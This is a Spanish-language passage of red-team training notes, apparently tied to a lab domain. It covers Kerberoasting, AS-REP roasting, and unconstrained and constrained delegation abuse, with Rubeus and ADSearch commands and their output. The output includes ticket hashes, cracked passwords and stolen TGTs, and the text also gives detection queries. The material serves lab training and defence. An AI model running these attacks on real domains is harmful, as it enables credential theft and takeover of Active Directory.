Saltar a contenido

Kerberos

Kerberos

Kerberos es un tema interesante y contiene algunos de los métodos de abuso más conocidos dentro de los entornos de Active Directory. También puede ser un poco difícil de entender cómo funciona debido a sus muchas complejidades, pero aquí tienes una descripción general breve:

Cuando un usuario inicia sesión en su estación de trabajo, su máquina enviará un mensaje AS-REQ al Key Distribution Center (KDC), también conocido como Domain Controller, solicitando un TGT utilizando una clave secreta derivada de la contraseña del usuario.

El KDC verifica la clave secreta con la contraseña que tiene almacenada en Active Directory para ese usuario. Una vez validada, devuelve el TGT en un mensaje AS-REP. El TGT contiene la identidad del usuario y está cifrado con la clave secreta del KDC (la cuenta krbtgt).

Cuando el usuario intenta acceder a un recurso protegido por autenticación Kerberos (por ejemplo, un recurso compartido de archivos), su máquina busca el Service Principal Name (SPN) asociado. Luego solicita (TGS-REQ) un Ticket Granting Service Ticket (TGS) para ese servicio al KDC y presenta su TGT como prueba de que es un usuario válido.

El KDC devuelve un TGS (TGS-REP) para el servicio en cuestión al usuario, que luego es presentado al servicio real. El servicio inspecciona el TGS y decide si debe conceder acceso al usuario o no.


Kerberoasting

Los servicios se ejecutan en una máquina bajo el contexto de una cuenta de usuario. Estas cuentas son locales a la máquina (LocalSystem, LocalService, NetworkService) o son cuentas de dominio (por ejemplo, DOMAIN\mssql). Un Service Principal Name (SPN) es un identificador único de una instancia de servicio. Los SPN se utilizan con Kerberos para asociar una instancia de servicio con una cuenta de inicio de sesión y están configurados en el User Object en AD.

Parte del TGS devuelto por el KDC está cifrado con una clave secreta derivada de la contraseña de la cuenta de usuario que ejecuta ese servicio. Kerberoasting es una técnica para solicitar TGS para servicios que se ejecutan bajo el contexto de cuentas de dominio y crackearlos sin conexión para revelar sus contraseñas en texto claro. Rubeus kerberoast se puede utilizar para realizar el kerberoasting. Ejecutarlo sin argumentos adicionales hará roast de cada cuenta en el dominio que tenga un SPN (excluyendo krbtgt).

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /simple /nowrap

[*] Total kerberoastable users : 3

$krb5tgs$23$*mssql_svc$dev.cyberbotic.io$MSSQLSvc/sql-2.dev.cyberbotic.io:1433@dev.cyberbotic.io*$122A4848378D3CFFEF922BDEAAC3707A$8FE7692C9C318EC7B4630C929AD54F87784B9E52293020E17BB427BD3FD27BA3C491D264BE8082505F3A2C40142703042A7EC3E161828A89003A0FC7C8CC55111FA432C0F0F2ED3488711E3F845CABFAC9141D63D69397741752201561C02DAEB131C1E079CDE112C9203E91B6A55714261AD223DF2B6879C5DF3805362068DFE39EF51C88E35C45ACE05DF4503252478E9AFD69FA21192046C4E3D8ECA7801D460C4C7D6AF7026AA3A2235A584DA1CA29C16AB7BDF9B307F3EBE6DCA84B9ABEE66ABA070613293DD91EB89B33B6633EB3EB906350C9AED9AD03EE306743024C09AA9AE26582460164BC3160FE95284F33174B3263EEA22E270F9A2D274390BA4546C110E44D7A678F8E286FCBAC660FBF8A0F7CBD72F1FA71BE7F59661CD75847FB7882F8481DC3ABB665CBA7BAAB0600D1E11131E4FB1C0690FCB20D707D2B7906E38381116FCEB8E5F9DAA882A95A4F3D04CB890C6C24EA997361881AFE3003828F759E96AAFC23EB589EC778352C9C5E0109BE110E01A12AB8D15383BA0714EC68B9A666CA42488B3438B1D52517F6A0F94CA8A1A2B93D12B815C32E721F71DC1D5C34ED4D7E5FB11E8AA1E9CB0CDE6BC997E6DB5A3A29EE329337243488A1902F0F66271DF224080A6FED34313A9253F523766F6EB6523E661E425E98302596B4649FE97D566534CE6DAAB323C5118163D160D1747AE3776FFBECA7A7F4E7FAB55833268D529A16DE926F3B86854F4D662306462BDBBBC55421D8AA3C059D981A168C25663A676401A86F8AA9CC9F6A71B7C2C0B8500D78683B2FD39C74F228F83F4D9C1AFB051E91C5A59278B010B1DAA05DB799B170BD3422B74FBE068CB5BF980037A4B907DF8930379A79BFCEBF54B8AF22E22565EDE399A18FAFBC4F09ADF82C4446FAC2169174CBADD49518C286A67B320AF445AD12892497F2D0152C92145463CAD6C99AA5F331FBEE04BCD05CFE1D40C3DFFC3C1140743C1A31A814EEEE5199365AB332EA1F681D62D7B3FE2C0C2F02005B63482F110FF43B9BF1C743F0E4ECC62AEC2914C6A5965CC18F13DBF40959F6E7AD9893FC046D2E5B60F1415F83D522A2B7F0A0B32FC5E5F514165F4B0D2B661162550CE578B43653AF471FA119EAD12DA26FE778362458AAF58E94413B2814A0A1A215118BFD6B0F3BCC4B9AC9D28D51E1279F719D7E0B0CB33824E778CA77F92E0E3A28FAE76A107920734B2D9D81F4E35EBFA3C37E84EBD0CB72C2507CB2627ED3AA8CE32647CFADC288967BFA12F21C3F3A2FBDF6AC64A8743853337D086338ED0AAE6AB3594B78B2926E9DC02DE962D41B9146E0F7718E1C7EA2CB334C40B43C1294C88C68B17A813AD0C15AA8238FF81DB14EB5AB56C7E6ABE56CD0BB9FA02761E1838D0FC894F7E5B627AC959FFB6DE2E235830A5FAEE8D58FDC3098EC20E64D56323CC8C47987AA5B85E6CB165F36B5A6AE9499F6593E13B81F501D7430BFBADF7B03EFD1F65869F801AE78A22165D862132194B96A68ECA2F55BE3338346FBAF836C4D61AF9F7FC012C5F14B220C62349A130E6F4C8A1620866A370C2A433AE36C08E2E496CC833824C0873C5B5D7A8DA38A2C41CC89ADEA62F22B3CB47445D60116BE97EE96AC85C6F7E087AAC4C2
$krb5tgs$23$*squid_svc$dev.cyberbotic.io$HTTP/squid.dev.cyberbotic.io@dev.cyberbotic.io*$F819F7E05FCE5C6861D65E38E65ADF6C$A17248D5456E6A9641F60D9B4EB6AFA69373DFF265153E4E4663E4D01613D496D5AA45D14A5FD672412B25998342DA1D7894066CD47BF8B5C0805807E744937AC60B4AD19067C1D900B7A2ED4493EC6B77AE8FBC5F20DFF1D47BCB1F259C72FEA4219A1AAAE1BB1776491F364B1B5BA69D72015EEEFDB57F688D508DCE63312C5407D2E6347B6D30528ACC4464837DAE6820E0F27CCBA7A36B89B8BA5F782B48FFAEDB349D79571B58F7303579627E493B101F90613CDA0013FF27DD558E7E81CCF82B2953AEF650D8DFEAAAF427CD981CB85D57FCABCEA551303B1EE3AED2B542372599FC2C92A0CCDE8482D3B4344EA8DC7B0AEEBD0D24B5F79996E9BC758C28FCE9491D97B9CBEC80D28D8043E1B761703D20A6CAAF04255C082AC64392C4B6C8FF32585605342E07622DE9C2CDAF21BFFB7FEAB1FF19C2AD5D89340CC51D5B5AE50F702E2E45FA01C26DB5086E1FBBC67133F522BFC4A18D77630DAA174633E0E4DFF59737171606BB74C96C8B109AE5DB2BF49F464274D65FF3740B2EB8AE378AEB7E20D7607C785939673E2E8166DA88A274EA247388E6A18EF4B67600F0092F70BDAF0FF440D7C244A520A8CF0A6482CE837C6A927026DF6C0C27228C3039192D8B2B260C45C831609F89ED5B88D364E7327520850FD72072591B938E3412FBFF71FDB32B8A99117377C7B23783564CFD414FA114E45B497C90CEED124F9B291FBE422F824D86F426C0D6616AF4A9EADD21D7EE7370B9AFD1DBE66709D7D7963FF626BB9849C12A2252166BD586A67961935C761F42A03E8CEDB84435546474FAFB951DA4AA878A64C9EADD10962756B2455BBF7AA844FA17A5D158D27B6926FAFF930103861D229C4E15F1CDF7856AF55382F8054E3E00853BF924AEC68EAFD2786849FDE0E0B7D19DEA51029D1240BF832EB5C55D862FBE769A7A2D3F83475A46F80679B7E35FD58A0E6E4848E2CA1C82A6ECA2AC01201BB71F659987B7AB45B74A9CA524022752F6392199951B5B8AC032B8774989051B7FE21A9A9B207D50FC83D1337E31D1F5AF969174E78BC0C50496552E8CA6DCC681D88C59D199D594C4648C75D8FA6D5EFB9876E5E32088560DAD793BDF80A20389AB7E6444AA301736FA89F1EB622D590C8381FD6B97579525EBD4933B3768399A3480C42AE0F768F643528DDCC5A679156AADE780DB37CA61CF3AFAEE2ECF8996122C7C4A8A679C3DC99A1428801AED1D7C91574D6A50A79325FDC7C58FA85FE410D4F311451387C69691B0B37A0CCF890F8F725286C0AD28DB6294A8DC04346AC0167FAC80E4C041C31D2BDFCF948F4A82D843D4A928F3244868084C853B8E73B166E3C25F7E043F9A833CDF939476913E1D0795B10BB8709A11E41D1A20096E41F13F7703540F713F4EDD73D3B5EAAE904EE1305D960047DD6A27ADD3E06204403A76364369DD7395E84BE660147FD4893904B4B0F01355D0961D65D1BAAA97DC7EDD3321D8E6AE13EED9F070DEC8D4C70C3F67AEC23084CF6526252EA23B979463B8BE53CFC81909E6FA50D59A73878275F79BCB484BDB60BD3C1A9EAEA4EF613D7995BF5DB9E0C1D7D222D138C65C20155CD17697E6014F608BC78993EF2F8BDE339532C2F5587981579C7FBB
$krb5tgs$23$*honey_svc$dev.cyberbotic.io$HoneySvc/fake.dev.cyberbotic.io@dev.cyberbotic.io*$B6424DAD1372B0E769F64D78848770BA$C2DE3B1FE0FA17EA680043183615A9280A6DAFB5A6A2FA43D6077E4542EACEBBCE2C8D299F1827A94AC9768D5211127A5734586FCD8FD929B12D64C1D72E8ADD2B0A051E8F21EBA9E6631CA775B287E6CA6071550AB27EE950A58B85E80B0C19B63537DC086BE7B44AFF685B232DED804645A7E2DC2A7967E6B7E44BFCAA67CCFEDD74EF1FFC73D7006FAD32B281EF1AF78650757C30BE64394475113176117C050766D5C8B8B3FA8D7226038AD0FF498FFA609B320233FC27C2772C3B92C9259DCDA26C069A5B1BFA14037D8E65F85F02BE1FA3AE567A1C6E6EFC9464E5B313B78588D9B6776701C67D3A514DC5A133B422C624224632FFCD50A5C20B7AAA7B04D692EA64E33A2B3A39B3F0DE58EEC4E3C9D14AB870797325D773CD477B3D498FB82CB8BC06FF4E1DC954465E9077642F050C59E296C05E8F4674F3411739E9C4CF0DF88E6CD68EF32B1D820379F6256CE5EE9EE10177F56BE9E364A59C9EFE3B07D6798EB8373D8EC5367D7C7DD402742264DEAEA939404CBA1673AAB05B6BC56C5FA9CDA7B67A0E330DF7C2E440713FF4F129B8E4A3E5F2A9294BD45BD0E9DBEC63377E87551C374D8D7FF19376A1ADABEBC579D9C607CA7FC8198598BC36D0F4DC799FA89EFABCACDB5AB4BD3498A212C59D3DF93FE008F5B71889633158A942411189496D4958812A71EA344B2F65F6CF5F94F99D12C84F56F25B92489D148C140ACC8D40D5DEC2C6C5B4892060D6806186A38E72CB9183B7391C3FAD8D104B0675C83F568608DA966D172B8588441F0838A5F6EFD354EEF6448F41DABB904A2FA724439B3AC96E035A35CCA9C993B5545A1771D11BE4F82CE1D58CEFFACF889099A81349DFE45D2C73CED9B85550D3C7B1B6624D9C5639DBBEA0B45F3990A5CFDC8B3DF697E12FB7800779575FB897761F0674B89A8D713EF0F744A64C824DAE6269C5BEE1A85F2434E2E8CC283F42C697EF1A74C7C522002301D4CB929A3E715BAF939978F9DD792005CFFA6FAB35D536C4092AA621D7CBC9B3302281BC66B904FA1C5687C981276D59409E794806BE340976D0DD5198E631B9D76BF57AFFB8C4D1F3913F3549A99E90D85CA58AE2C2838F4BB5093BA0F7CDC37F7D1281FB60929B3F9B0473AEE8F7AD4BCE08B1375F2222903F2C860F04D26DAF9D06A0E5E6A3312046A54C1E4DE57EBA411879DFA4420BA4AC854CA8830A56C4F7AA5D4082E16FFA99D297E58837C872D6B8AA0D38FD12EB70AB31FCDF104705DD26E5A38AE58B5633955ED4830E7590CA4C067C31C05861B2AF9EC3C408E2BF0256896B4242926B8A1A7D0221E93355AF0E64861A44CEE50DE6A65F6A767646F7961BC0866B4107BEFC6CD0AA3E682528E74B848A41A21293FD1CD222304FD2142F12BB85511B72FD22E82B94DA21D3B4AD098B016D9D5181E446CA8FD7D98F4784BEE65BD648074ABAB39849B784BF362EFACE9B210C8ECF550BFD7A74C207D4A05C9AD0FD4DCDCB135F421ADF69AEBF21DDA3716079E80B7A039C77DA8802A8D5463652ACD401E1DA06D4FBC4519AA657D19AE808C59693B45AA29328F2061183193A1D14F77A866B7E9AC8C381E5E9BE8BB621E05E71B5C6489B9BE105838415555FDAB70B71D2A7E750B8

Info

Aunque Rubeus no incluye la cuenta krbtgt, a veces puede ser crackeada.

Estos hashes pueden ser crackeados sin conexión para recuperar las contraseñas en texto claro de las cuentas. Usa --format=krb5tgs --wordlist=wordlist hashes para john o -a 0 -m 13100 hashes wordlist para hashcat.

$ john --format=krb5tgs --wordlist=wordlist mssql_svc
Cyberb0tic       (mssql_svc$dev.cyberbotic.io)

Info

Experimenté algunas incompatibilidades de formato de hash con john. Eliminar el SPN para que se convirtiera en: $krb5tgs$23$*mssql_svc$dev.cyberbotic.io*$6A9E[blah] pareció solucionar el problema.

OPSEC

Por defecto, Rubeus hará roast de todas las cuentas que tengan un SPN. Las cuentas Honey Pot pueden ser configuradas con un SPN "falso", lo que generará un evento 4769 cuando sean roasted. Dado que estos eventos nunca se generarán para este servicio, proporciona una indicación altamente confiable de este ataque.

event.code: 4769 and winlog.event_data.ServiceName: honey_svc

Un enfoque mucho más seguro es enumerar posibles candidatos primero y hacer roast de ellos selectivamente. Esta consulta LDAP encontrará usuarios de dominio que tengan un SPN configurado.

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName

[*] TOTAL NUMBER OF SEARCH RESULTS: 4
    [+] cn                   : krbtgt
    [+] servicePrincipalName : kadmin/changepw
    [+] samaccountname       : krbtgt

    [+] cn                   : MS SQL Service
    [+] servicePrincipalName : MSSQLSvc/sql-2.dev.cyberbotic.io:1433
    [+] samaccountname       : mssql_svc

    [+] cn                   : Squid Proxy
    [+] servicePrincipalName : HTTP/squid.dev.cyberbotic.io
    [+] samaccountname       : squid_svc

    [+] cn                   : Honey Token
    [+] servicePrincipalName : HoneySvc/fake.dev.cyberbotic.io
    [+] samaccountname       : honey_svc

Podemos hacer roast de una cuenta individual con el parámetro /user.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:mssql_svc /nowrap

[*] SamAccountName         : mssql_svc
[*] DistinguishedName      : CN=MS SQL Service,CN=Users,DC=dev,DC=cyberbotic,DC=io
[*] ServicePrincipalName   : MSSQLSvc/sql-2.dev.cyberbotic.io:1433
[*] PwdLastSet             : 8/15/2022 7:46:43 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*mssql_svc$dev.cyberbotic.io$MSSQLSvc/sql-2.dev.cyberbotic.io:1433@dev.cyberbotic.io*$122A4848378D3CFFEF922BDEAAC3707A$8FE7692C9C318EC7B4630C929AD54F87784B9E52293020E17BB427BD3FD27BA3C491D264BE8082505F3A2C40142703042A7EC3E161828A89003A0FC7C8CC55111FA432C0F0F2ED3488711E3F845CABFAC9141D63D69397741752201561C02DAEB131C1E079CDE112C9203E91B6A55714261AD223DF2B6879C5DF3805362068DFE39EF51C88E35C45ACE05DF4503252478E9AFD69FA21192046C4E3D8ECA7801D460C4C7D6AF7026AA3A2235A584DA1CA29C16AB7BDF9B307F3EBE6DCA84B9ABEE66ABA070613293DD91EB89B33B6633EB3EB906350C9AED9AD03EE306743024C09AA9AE26582460164BC3160FE95284F33174B3263EEA22E270F9A2D274390BA4546C110E44D7A678F8E286FCBAC660FBF8A0F7CBD72F1FA71BE7F59661CD75847FB7882F8481DC3ABB665CBA7BAAB0600D1E11131E4FB1C0690FCB20D707D2B7906E38381116FCEB8E5F9DAA882A95A4F3D04CB890C6C24EA997361881AFE3003828F759E96AAFC23EB589EC778352C9C5E0109BE110E01A12AB8D15383BA0714EC68B9A666CA42488B3438B1D52517F6A0F94CA8A1A2B93D12B815C32E721F71DC1D5C34ED4D7E5FB11E8AA1E9CB0CDE6BC997E6DB5A3A29EE329337243488A1902F0F66271DF224080A6FED34313A9253F523766F6EB6523E661E425E98302596B4649FE97D566534CE6DAAB323C5118163D160D1747AE3776FFBECA7A7F4E7FAB55833268D529A16DE926F3B86854F4D662306462BDBBBC55421D8AA3C059D981A168C25663A676401A86F8AA9CC9F6A71B7C2C0B8500D78683B2FD39C74F228F83F4D9C1AFB051E91C5A59278B010B1DAA05DB799B170BD3422B74FBE068CB5BF980037A4B907DF8930379A79BFCEBF54B8AF22E22565EDE399A18FAFBC4F09ADF82C4446FAC2169174CBADD49518C286A67B320AF445AD12892497F2D0152C92145463CAD6C99AA5F331FBEE04BCD05CFE1D40C3DFFC3C1140743C1A31A814EEEE5199365AB332EA1F681D62D7B3FE2C0C2F02005B63482F110FF43B9BF1C743F0E4ECC62AEC2914C6A5965CC18F13DBF40959F6E7AD9893FC046D2E5B60F1415F83D522A2B7F0A0B32FC5E5F514165F4B0D2B661162550CE578B43653AF471FA119EAD12DA26FE778362458AAF58E94413B2814A0A1A215118BFD6B0F3BCC4B9AC9D28D51E1279F719D7E0B0CB33824E778CA77F92E0E3A28FAE76A107920734B2D9D81F4E35EBFA3C37E84EBD0CB72C2507CB2627ED3AA8CE32647CFADC288967BFA12F21C3F3A2FBDF6AC64A8743853337D086338ED0AAE6AB3594B78B2926E9DC02DE962D41B9146E0F7718E1C7EA2CB334C40B43C1294C88C68B17A813AD0C15AA8238FF81DB14EB5AB56C7E6ABE56CD0BB9FA02761E1838D0FC894F7E5B627AC959FFB6DE2E235830A5FAEE8D58FDC3098EC20E64D56323CC8C47987AA5B85E6CB165F36B5A6AE9499F6593E13B81F501D7430BFBADF7B03EFD1F65869F801AE78A22165D862132194B96A68ECA2F55BE3338346FBAF836C4D61AF9F7FC012C5F14B220C62349A130E6F4C8A1620866A370C2A433AE36C08E2E496CC833824C0873C5B5D7A8DA38A2C41CC89ADEA62F22B3CB47445D60116BE97EE96AC85C6F7E087AAC4C2

ASREP Roasting

Si un usuario no tiene habilitada la pre-autenticación de Kerberos, se puede solicitar un AS-REP para ese usuario, y parte de la respuesta puede ser crackeada offline para recuperar su contraseña en texto plano. Esta configuración está habilitada en el User Object y a menudo se observa en cuentas asociadas con sistemas Linux.

Al igual que con kerberoasting, no queremos realizar asreproast en todas las cuentas del dominio.

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname

[*] TOTAL NUMBER OF SEARCH RESULTS: 1
    [+] cn                : Squid Proxy
    [+] distinguishedname : CN=Squid Proxy,CN=Users,DC=dev,DC=cyberbotic,DC=io
    [+] samaccountname    : squid_svc
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:squid_svc /nowrap

[*] SamAccountName         : squid_svc
[*] DistinguishedName      : CN=Squid Proxy,CN=Users,DC=dev,DC=cyberbotic,DC=io
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Building AS-REQ (w/o preauth) for: 'dev.cyberbotic.io\squid_svc'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

      $krb5asrep$squid_svc@dev.cyberbotic.io:BEDE491E0C9B3E932F9B4DF274AB059B$0947A85824870A9EA0B2C832B30D8B99BDA99F9451E9EB14AA0D9566674B32A10BE4954E6FB15DED54462D4AAAAE28DFB08C83EF0608DA6EEB9A08DBC79C06099D2B366BA5402A0ED60545B92B17882557CBB0FC700309751C51AF33F25A3103FA67DAAD9AD2154FE4171FBEFBE725AA1311CE50EFB8B87FF1BBCF5E97C496E08BA3CC4CA4F59820C4C27251686658C9F7EE52B43ED5A969A02273510AC7CCFB5DFE61E7A9D72E10B81E7B3ACBFDA0F3F058791E9A87D990871961D3BD9AEB40B9D0A1260094B17DCB8114DDBB19B5C2031F2906E527F96F1AFA62D907570E39E047659532F1FA043371DDF8D7FB9A5E5369A889A7BC

Usa --format=krb5asrep --wordlist=wordlist squid_svc para john o -a 0 -m 18200 squid_svc wordlist para hashcat.

$ john --format=krb5asrep --wordlist=wordlist squid_svc
Passw0rd!        ($krb5asrep$squid_svc@dev.cyberbotic.io)

OPSEC

ASREPRoasting generará un evento 4768 con cifrado RC4 y un tipo de preautenticación de 0.

g.event_data.PreAuthType: 0 and winlog.event_data.TicketEncryptionType: 0x17

Unconstrained Delegation

Delegation permite que un usuario o máquina actúe en nombre de otro usuario hacia otro servicio. Una implementación común de esto es cuando un usuario se autentica en una aplicación web front-end que sirve a una base de datos back-end. La aplicación front-end necesita autenticarse en la base de datos back-end (usando Kerberos) como el usuario autenticado.

Sabemos cómo un usuario realiza la autenticación Kerberos en el Web Server, pero ¿cómo puede el Web Server autenticarse en la DB y realizar acciones como el usuario? Unconstrained Delegation fue la primera solución a este problema, introducida en Windows 2000. Cuando se configura en una computadora, el KDC incluye una copia del TGT del usuario dentro del TGS. En este ejemplo, cuando el usuario accede al Web Server, este extrae el TGT del usuario desde el TGS y lo almacena en caché en memoria. Cuando el Web Server necesita acceder al DB Server en nombre de ese usuario, utiliza el TGT del usuario para solicitar un TGS para el servicio de base de datos.

Un aspecto interesante de unconstrained delegation es que almacenará en caché el TGT del usuario sin importar qué servicio esté siendo accedido por el usuario. Entonces, si un administrador accede a un recurso compartido de archivos o cualquier otro servicio en la máquina que utilice Kerberos, su TGT será almacenado en caché. Si logramos comprometer una máquina con unconstrained delegation, podemos extraer cualquier TGT de su memoria y utilizarlos para suplantar a los usuarios contra otros servicios en el dominio.

Esta consulta devolverá todas las computadoras que tienen permiso para unconstrained delegation.

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

[*] TOTAL NUMBER OF SEARCH RESULTS: 2
    [+] samaccountname : DC-2$
    [+] dnshostname    : dc-2.dev.cyberbotic.io

    [+] samaccountname : WEB$
    [+] dnshostname    : web.dev.cyberbotic.io

Info

Los Domain Controllers siempre tienen permiso para unconstrained delegation.

Si comprometemos WEB$ y esperamos o realizamos ingeniería social para que un usuario privilegiado interactúe con él, podemos robar su TGT almacenado en caché. La interacción puede ser a través de cualquier servicio Kerberos, por lo que algo tan simple como dir \\web\c$ es suficiente. Rubeus triage mostrará todos los tickets que están actualmente almacenados en caché. Los TGT pueden identificarse por el servicio krbtgt.

beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage

 --------------------------------------------------------------------------------------------------------------- 
 | LUID     | UserName                  | Service                                       | EndTime              |
 --------------------------------------------------------------------------------------------------------------- 
 | 0x14794e | nlamb @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO                      | 10/4/2022 9:35:38 PM |

Info

Hay una tarea programada en Workstation 1 como nlamb que interactuará con WEB$ cada 5 minutos. Si el ticket no está allí, espera un minuto o más e inténtalo de nuevo.

Podemos simplemente extraer este TGT y aprovecharlo mediante una nueva sesión de inicio de sesión.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap

doIFwj [...snip...] MuSU8=

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFwj[...]MuSU8=

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 1540
[+] Ticket successfully imported!
[+] LUID            : 0x3206fb

beacon> steal_token 1540

beacon> ls \\dc-2.dev.cyberbotic.io\c$

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 15:44:08   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 16:09:55   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 10:51:51   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     09/05/2022 17:17:48   ProgramData
          dir     08/15/2022 15:23:23   Recovery
          dir     08/16/2022 12:37:38   Shares
          dir     09/05/2022 12:03:43   System Volume Information
          dir     08/15/2022 15:24:39   Users
          dir     09/05/2022 17:09:56   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 1kb      fil     08/15/2022 16:16:13   dc-2.dev.cyberbotic.io_sub-ca.req
 12kb     fil     09/05/2022 07:25:58   DumpStack.log
 12kb     fil     09/06/2022 09:04:41   DumpStack.log.tmp
 384mb    fil     09/06/2022 09:04:41   pagefile.sys

También podemos obtener TGTs para cuentas de computadoras forzándolas a autenticarse remotamente en esta máquina. Como se mencionó en el módulo de NTLM Relaying del capítulo Pivoting, existen varias herramientas para facilitar esto. Esta vez, forzaremos al domain controller a autenticarse en el web server para robar su TGT.

También utilizaremos el comando monitor de Rubeus. Esto entrará en un bucle y monitorizará continuamente para extraer nuevos TGTs a medida que se almacenen en caché. Es una estrategia superior en comparación con ejecutar triage manualmente porque hay pocas posibilidades de no ver o perder un ticket.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap

[*] Action: TGT Monitoring
[*] Monitoring every 10 seconds for new TGTs

Luego, ejecuta SharpSpoolTrigger.

beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe dc-2.dev.cyberbotic.io web.dev.cyberbotic.io

Donde:

  • DC-2 es el "target".
  • WEB es el "listener".

Rubeus luego capturará el ticket.

[*] 9/6/2022 2:44:52 PM UTC - Found new TGT:

  User                  :  DC-2$@DEV.CYBERBOTIC.IO
  StartTime             :  9/6/2022 9:06:14 AM
  EndTime               :  9/6/2022 7:06:14 PM
  RenewTill             :  9/13/2022 9:06:14 AM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

doIFuj[...]lDLklP

Los TGTs de máquinas se utilizan de manera ligeramente diferente: consulta el módulo S4U2Self Abuse. Para detener Rubeus, usa los comandos jobs y jobkill.


Unconstrained Delegation Demo


Constrained Delegation

Constrained delegation fue introducida posteriormente con Windows Server 2003 como un medio más seguro para que los servicios realicen delegación Kerberos. Su objetivo es restringir los servicios a los que el servidor puede actuar en nombre de un usuario. Ya no permite que el servidor almacene en caché los TGTs de otros usuarios, pero le permite solicitar un TGS para otro usuario con su propio TGT.

En este caso, SQL-2 puede actuar en nombre de cualquier usuario hacia el servicio cifs en DC-2. CIFS es bastante poderoso ya que permite listar recursos compartidos y transferir archivos. Para encontrar computadoras configuradas para delegación restringida, busca aquellas cuyo atributo msds-allowedtodelegateto no esté vacío.

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[
  {
    "dnshostname": "sql-2.dev.cyberbotic.io",
    "samaccountname": "SQL-2$",
    "msds-allowedtodelegateto": [
      "cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io",
      "cifs/dc-2.dev.cyberbotic.io",
      "cifs/DC-2",
      "cifs/dc-2.dev.cyberbotic.io/DEV",
      "cifs/DC-2/DEV"
    ]
  }
]

Info

La delegación restringida puede configurarse tanto en cuentas de usuario como en cuentas de computadora. Asegúrate de buscar ambas.

Para realizar la delegación, necesitamos el TGT del principal (computadora o usuario) confiado para delegación. La forma más directa es extraerlo con Rubeus dump:

beacon> run hostname
sql-2

beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
 --------------------------------------------------------------------------------------------------------------- 
 | LUID    | UserName                    | Service                                       | EndTime              |
 --------------------------------------------------------------------------------------------------------------- 
| 0x3e4    | sql-2$ @ DEV.CYBERBOTIC.IO  | krbtgt/DEV.CYBERBOTIC.IO                      | 9/6/2022 7:06:50 PM |

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

    ServiceName              :  krbtgt/DEV.CYBERBOTIC.IO
    ServiceRealm             :  DEV.CYBERBOTIC.IO
    UserName                 :  SQL-2$
    UserRealm                :  DEV.CYBERBOTIC.IO
    StartTime                :  9/6/2022 9:06:50 AM
    EndTime                  :  9/6/2022 7:06:50 PM
    RenewTill                :  9/13/2022 9:06:50 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  pj1tbiijFCGHkM6S58ShgxxPi8FvA1UB5liBqrSWPCg=
    Base64EncodedTicket   :

doIFpD[...]MuSU8=

Info

También puedes solicitar uno con Rubeus asktgt si tienes hashes NTLM o AES.

Con el TGT, realiza una solicitud S4U para obtener un TGS utilizable para CIFS en DC-2. Recuerda que podemos suplantar a cualquier usuario en el dominio, pero queremos alguien que sepamos que es administrador local en el objetivo. En este caso, un administrador de dominio tiene más sentido.

Esto realizará primero un S4U2Self y luego un S4U2Proxy.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /user:sql-2$ /ticket:doIFLD[...snip...]MuSU8= /nowrap

[*] Action: S4U

[*] Building S4U2self request for: 'SQL-2$@DEV.CYBERBOTIC.IO'
